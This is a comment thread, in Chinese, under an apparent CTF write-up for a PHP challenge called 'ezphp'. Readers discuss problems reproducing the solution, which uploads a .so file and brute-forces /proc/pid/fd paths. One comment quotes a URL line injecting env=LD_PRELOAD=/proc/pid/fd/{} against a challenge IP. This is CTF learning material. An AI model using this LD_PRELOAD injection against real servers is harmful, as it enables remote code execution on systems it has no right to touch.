萌新一枚,复现师傅wp感觉有挺多问题,比如师傅描述最后一步的 “上传so文件后爆破pid:” 这个应该是同时爆破吧,而且也不光是爆破pid?而且师傅在这后面的脚本貌似循环url = "http://120.79.121.132:27784/?env=LD_PRELOAD=/proc/pid/fd/{}".format(i) 也不太对?貌似上面上传的脚本里面也有些问题。本地没复现出来,不知道是不是我太菜了。

H

Hard 2022-03-22 12:14:30

指ezphp那个题目,其他题目没环境也看不懂复现不来,嘤嘤嘤

D

ddw 2022-03-22 12:31:04

不懂就问啊 ezphp的那个题目 感觉有点问题 光爆破pid是不是不行的啊 本地确实没复现出来 是我姿势不对吗 还有好多小问题感觉不对劲?

H

Hard 2022-03-22 12:31:29

然后这个爆破对这里 for i in range(560): 好像也不能这么大?本地一轮都要挺久,碰撞不上啊。希望师傅能写简单一点,照顾照顾萌新鸭。

D

ddw 2022-03-22 12:31:33

id最大560真的可以撞到嘛

Retr_0 2022-03-22 14:25:24

上传的脚本可能有点问题 ,不过爆破应该没问题。可以移步 hxpCTF End of LFI 看看

Retr_0 2022-03-24 10:36:35

可以撞的 不过改成100大概够了

Retr_0

Noooooooooooob

twitter weibo github wechat

随机分类

无线安全 文章:27 篇
IoT安全 文章:29 篇
安全管理 文章:7 篇
Web安全 文章:248 篇
区块链 文章:2 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录